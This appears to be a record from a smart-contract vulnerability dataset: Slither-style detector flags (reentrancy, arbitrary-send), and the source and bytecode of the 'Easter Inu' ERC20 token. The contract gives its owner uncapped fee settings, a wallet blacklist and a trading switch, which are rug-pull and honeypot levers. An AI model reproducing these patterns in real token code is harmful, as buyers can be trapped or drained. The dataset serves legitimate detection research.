c5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203ad1fa00f980e7e350a5c2427a5a307ded9c6968007bec17f832aa5ae9d64f9b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,331
0x1098102c1739c453d1d00b6219785389397cc993
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /** :. Y##GJ. Y&@@@@B? ~#&@@@@@@G. 5#&@@@@@@@B: .:^~~!77???777!~^:. .B#@@@@@@@@@B. !5B#&@@@@@@@@@@@@@@@&#GY7^ :B#@@@@@@@@@@P [email protected]@@@@@@@@@@@@@@@@@@@@@@@&Y :B#@@@B?J#@@@@J [email protected]@@@@@@@@@@@@@@@@@@&#BG5J!. G#&@@[email protected]@@@! [email protected]@@#J55555YPYYJ!~~^^:. J#&@&[email protected]@@#: [email protected]@&[email protected]&@G :##@@[email protected]@@5 [email protected]@&5~5555Y:#@@#: J&&@[email protected]@@! [email protected]&G^[email protected]@#^ .G&@@[email protected]@#. .#@#!?5555?^&@&~ ~#&@[email protected]@J :&&P^5555Y:[email protected]&! ^~ 7#&@J!5555Y7&@&: ^&&?!555Y:[email protected]@7 :7Y5P: ^55J!: ?#@@[email protected]@J :^&#7?555^[email protected]@? :J5J?75: :PPGGG5?:?#@&~J55557&@#. ^:#&[email protected]&! ^JGY!777Y. .Y5?77?PG~7#@[email protected]@~ .B&[email protected]#^ .~YPGY~!7775. [email protected][email protected]@7 [email protected]^~?5GGG?~7777?Y ~PJ7777!YG7^P&#YY55G&@Y^^^^^~~7????JY7?Y5PPGJ!77777YJ .Y577777!5GY^?#P5YJJ???JJJYYYYYYYYYY5P55YYYJ~!77777P7 !P?7777~YG5!~J!7J5PGGGPPGGGGGGGGGBGPPPP5YJ??7!~!7?GJ .JY7777^!!!!!75GGPPPG##PYPPP55GPP&&BYPPGGPY?7?J?~!PY :5?7~^!7!!?PGPPPPPP5&&#JPPPPYPPPPB#JPPPPGP5PY77JY?^ ?!^?Y7!JPGP5PPPPPPPPP5PPPPP55PPPPPPPPGGPGP?PG5?!?5?. ^Y57~JPGPPYPPPPGGPPPGGGPPPPPPPPPPJ?!:~JPPB5PPPGPJ77J^ .JP7~JPGPPPPPPPPPJ7J::~JPPPPPPPPPG? ~~ .~Y5PPPPPPPGGP!. . 7?^?PGPPPPPPPPPPY!:~ :.!YPP5PGGGGGPJ!~!?5555PPYJPP5PGB! !5PPPPPPPPPPPPPPP5JJY5PGB#BP5555G5YGGBB##&&&&&BB&#PYGB~ !55PPPPP5PGB####B######&&#&J:..^^~^^5&&&&&#&&&&&&&&@#5PG^ ~555PPP55B&&&&&&PBGB&&&&&&&&5^ .7#&&#BBBG&&&&&&&&&&JB5. .5555PP55&&&&&&&&B##5?5#&&&&&&#P?~^[email protected]&B5PB&&&&&&&&&&&&@YG! ^!755P5J#&&&&&&&&&&#&G7:!J5GBBBBGYJBG5?^5&&&&&&&&&&&&&&&Y7 ^55PJJ#&&&&&&&&&&&##&P~ .:~!!!!^!!~::J&&&&&&&&&&&&&&@B^ J5PJB#&&&&&&&&&&&&##&#5!:~!!!!~!!!^^B&&&&&&&&&&&&&@&! :YPJP#B&&&&&&&&B#&&&##&57?JJ7!!7??JJ?B&&&&&&&&&&&@B^ .7YJGGB&&&&&&&&##&&&##GG:YYY?JYY?YJG#&&&&&&&&&@&5. .~7PGB#&&&&&&&&&&&&&&B5J7?77??J5G&&&&&&&&&@#5JY7^. .:~7?JYJJ5GGB#&&&&&&&&&&&&&BPYJ?JJJJJJYPB#&&&&#5?YPGGBPJ^ :~?Y55555555J5GGPPGB#&&&&&&#577YPGBBBBBBGPY???5B#PYPGPPPGGBBY^ :?5PPPPPPP55555YYYPGGGPGB#&#Y!JG###BBB#&&&&&&#BG5?77JYPPPPPPGBBB?. ?PPPPPPPPPPPPP5555YYPGGGGBY~?B#BBBBBBBBB###&&@&###B5?^YPPPPPPGBBB5: ^YPPPPPPPPPPPPPPP?Y55555BG7~G#BBBBBBBB####BBBB###BBB##P75PPPPPGGGGBP: ^5PPPPPPPPPPPPPPPGJ?5555YY~?##BBBBBBBB######BBBBBBBBBB#5!5PPPPPPGBGGB5. :555PPPPPPPPPPPPPPG575555J:Y&#BBBBBBB####B#####BBBBBBBB#!?5PPPPPPGGGGGBJ ?555PPPPPPPPPPPPGGPJ?555Y:5&##BBBBBB####BBBB#####BBBBB#5^55PPPPPPPGBGGBG^ :5555PPPPPPPPPPPPPPGPYJ?J:Y&##B#BBB####BBBBBBBB####BBB#B~?55PPPPPPPGBGBG^ ^55555PPPPPPPPPPPPPPGGBG57JP#####B####BBGPPPGBBB#######J~55PPPPPPPPGBGB5 :55555PPPPPPPPPPPPPPPPPB##GY?YG#####BBBGPPPPPPGBBB####P^J5PPPPPPPPPGBGB? .:~!7777!^ ?55555PPPPPPPPPPPPPPPPGBB##B5?JG##BBGPPPPGGPPPGGBBB#B!!55PPPPPPPPPGGBP. :!J5PPPP55555?.?555555PPPPPPPPPPPPPGBBBBBBB#GJJGBPPPPGBBBGPPPPGBBBY~YPPPPPPPPPPGBBP?J ^JPGGPP55555555PJ:7555555PPPPPPPPPPPPGBBBBBB#&&&GJJPPGBBBBBBBGPPPPGP77GGBBGPPPPPGBGY?B#!.. .JGGPGGGP55555J?77?7:^JY55P5PPPPPPPPPPGBBBBBB&&&&&&&PJGBBBBBBBBBGGPPP77B&&&&&#BGPGB5J5###P:5~ :5GPGB#BGGP55J: .^!7?Y5PPPPGPPPPPGBBBBB&&&&&&&&@YGBB#####BBBBGGY!B&&&&&&&&#BGY5B#&&##^?B? JGBB#&#B#&&&BG5^^ .!J555YJ?777?JJYY555PBBBBB#&&&&&#BB?B#########BBBB75&&&&&&&&&&BPB##B&@##?~BBY P&&&&&&&&&&&&BGG5.!Y55555555555YJJ????77!?JYPYG&&#BBBB~B####BB#####B#7P&&G#&&&&&5P#####&@&#J^GBB? J&G#&&&&&&&&&BG5:?555555555Y?77777???J5Y.7J???7PBBP5Y?5####BBBB######PJB55&&G#&5?BBBB#B#@&#J^GGBP..~?JYYYYYJ7^. [email protected]&&&&&#BGGG:!55555555Y!!?5PPPYJ55?!Y!7#BBBBPJJJYYG###BBBBBBBB#####G5J5P5J55YGGGGGBB&@&#!!GPJ7JP5YYPGGG55PG5^ :.JPGGGGGGGG?:55555555J:?PGP5GG7!^YG5!7:5B###&##B####BBBBBGGGBBBB######BBBBBBGPPPPPGB&@#B:JP?JPG!!7!YGG?77JPG5 .::^^:: !P5555555:?GGY7!7P5!!5GGP?.:GBB########BBBBGPPPPPGBBB#######[email protected]&#J:P5PGPPP5PPGPPPPPGGGY ?7Y55555?:PPPP77~PGPGGGPPG5^~GBB####BBBBBGPPPPPPPPPGBBB###[email protected]&GP:YGPPPGGPPPPPPPP5J?5G^ ~~555555?:P?7JP5PPPG555PGPGB7~GBBB##BBBBGPPPPGBGPPPPGBBBBBBBGPPPGBBBGP##G5:?GPPPPYJ????PPPP7!7Y! 7555555Y:Y?7^YGPPPJ?????PPGBJ^5BBBB#BGPPPPPGBBBBPPPPPGBBBBPPPPGBBBBBBBG5^7GPPPG5!7???!YGPGGPJ^ ^5555555?^5YJPPPG5!JJ?~7GPPGB5~7GBBBBGPPPGBBBBBBBGPPPPGBGPPPPBBBBBBB#G?^?PPPPPPPP5JJ?JPGPY!: ?P5555557^5GPPPPP777!YGPPPPGBBJ~?GBBBGGGBBBBBBBBBGPPPPPPPPGBBBBBB##P!~YPPPPPPPPPGGGGPY!: ?5555555J^7PGPPPP5PPGPPPPPPGBG?J!75BB##BBBBBBBBBBBPPPPPPGBBBB##BP7!!5PPPPPPPPPGGPY!: ^?Y5555P57~JPGPPPPPPPPPPPPGGJ7GPY7!?PB####BBBBBBBBGPPPGB###BP?^^!?^JGGGGGGGG5J!: .^~!?JJYJ!~JPPGGGGGGGGGPY! .~777!^^~!?5GBB#######GGGBG5J7~^..::::^!J555J7^. .. .:^!7???7!^: ~J55P5YJ7!~~~!!77777!!!!!!7JY555555557. ^7Y5PPPPP55YYJJ??JJY55PPPPPPPPPP5J^ .^7777777?????????777777777777: HUNT FOR YOUR SUCCESS https://t.me/easterinuerc */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EasterInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Easter Inu"; string private constant _symbol = "EGGS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x000714F4F09CeCc1Cd73cEd948269Cb1B9D6ce5a); address payable private _marketingAddress = payable(0x000714F4F09CeCc1Cd73cEd948269Cb1B9D6ce5a); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a81526945617374657220496e7560b01b60208201525b60405161023a9190611a24565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a79565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa5565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b13565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b13565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260048152634547475360e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026361050b366004611a79565b610972565b34801561051c57600080fd5b5061026361052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152